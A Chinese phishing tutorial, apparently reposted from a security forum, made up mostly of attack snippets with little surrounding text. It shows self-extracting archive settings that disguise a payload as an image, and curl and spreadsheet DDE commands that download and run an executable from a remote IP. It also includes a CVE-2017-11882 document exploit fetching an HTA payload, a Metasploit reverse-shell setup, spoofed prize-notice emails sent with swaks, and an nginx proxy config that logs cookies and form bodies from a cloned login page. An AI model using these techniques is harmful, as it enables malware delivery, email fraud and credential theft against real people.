一文就学会网络钓鱼“骚”姿势

常规——解压路径：C:\windows\temp设置——解压后运行：C:\windows\temp\artifact.exeC:\windows\temp\壁纸.jpg
模式——全部隐藏更新——更新模式——解压并更新文件更新——覆盖模式——覆盖所有文件

C:\Windows\System32\cmd.exe /k curl http://xxx.xxx.xxx.xxx/exe/artifact.exe --output C:\Windows\temp\win.exe && C:\Windows\temp\win.exe

=cmd| '/c curl http://xxx.xxx.xxx.xxx/beacon.exe --output C:\Windows\temp\win.exe && C:\Windows\temp\win.exe' ! 'A1'

python2 Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

use exploit/windows/misc/hta_serverset payload windows/meterpreter/reverse_httpset lport 4444show optionsexploit

python2 Command109b_CVE-2017-11882.py -c "mshta http://192.168.126.132:8080/Uf7DGFz.hta" -o 通知文件.doc -i input.rtf

swaks的用法： --from <发件人的邮箱>  --ehlo <伪造邮件头>  --body <邮件正文内容>  --header <邮件头信息，subject为邮件标题>  --data <源邮件>  --attach <附件文件>

swaks --to seyoulala@chacuo.net --from A公司 --ehlo 中奖通知 --body 秉承“正德厚生，臻于至善”的企业核心价值观，立足发展，真情回馈社会和客户。全体员工祝贺您在此活动中获得一等奖。再次感谢您对本公司的关信和支持，本信仅为中奖凭证，具体细节见注意事项。--header "Subject: 中奖通知"

1) Social-Engineering Attacks【社工攻击(常用)】2) Penetration Testing (Fast-Track)【渗透测试（快速的）】3) Third Party Modules【第三方模块】4) Update the Social-Engineer Toolkit【更新社工工具包】5) Update SET configuration【升级配置】6) Help, Credits, and About【帮助】

1) Spear-Phishing Attack Vectors【鱼叉式网络钓鱼攻击】2) Website Attack Vectors【web网站式攻击-钓鱼(常用)】3) Infectious Media Generator【传染性木马】4) Create a Payload and Listener【创建payload和监听器】5) Mass Mailer Attack【邮件群发攻击】6) Arduino-Based Attack Vector【基于安卓的攻击】7) Wireless Access Point Attack Vector【wifi攻击】8) QRCode Generator Attack Vector【生成二维码(就普通二维码)】9) Powershell Attack Vectors【Powershell攻击】10) Third Party Modules【第三方模块】

1) Java Applet Attack Method【java小程序攻击】2) Metasploit Browser Exploit Method【Metasploit浏览器利用】3) Credential Harvester Attack Method【凭证攻击(常用)】4) Tabnabbing Attack Method【Tabnabbing攻击】5) Web Jacking Attack Method【web劫持】6) Multi-Attack Web Method【web多重攻击】7) HTA Attack Method【HTA攻击】

1) Web Templates【web模板】2) Site Cloner【克隆网站】3) Custom Import【自定义导入】

log_format Clonelog escape=json '{$remote_addr|'    '$request_filename|'    '$request_body|'    '$http_cookie|'    '$http_x_forwarded_for|'    '$time_local}';

server{
    listen 8000;    server_name 127.0.0.1;    index index.html index.htm index.php;    access_log /www/wwwlogs/access.log Clonelog;
 location / {    proxy_pass http://xxx.xxx.com;    proxy_buffering off;    proxy_set_header X-Real-Ip $remote_addr;    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;    proxy_set_header Host "xxx.xxx.com";    proxy_set_header Accept-Encoding "";    proxy_set_header User-Agent $http_user_agent;    proxy_set_header referer "http://xxx.xxx.com$request_uri";    }}

账号的name值：logonId密码的name值：password_rsainput

文章来源：先知社区（obse****）原文地址：https://xz.aliyun.com/t/12682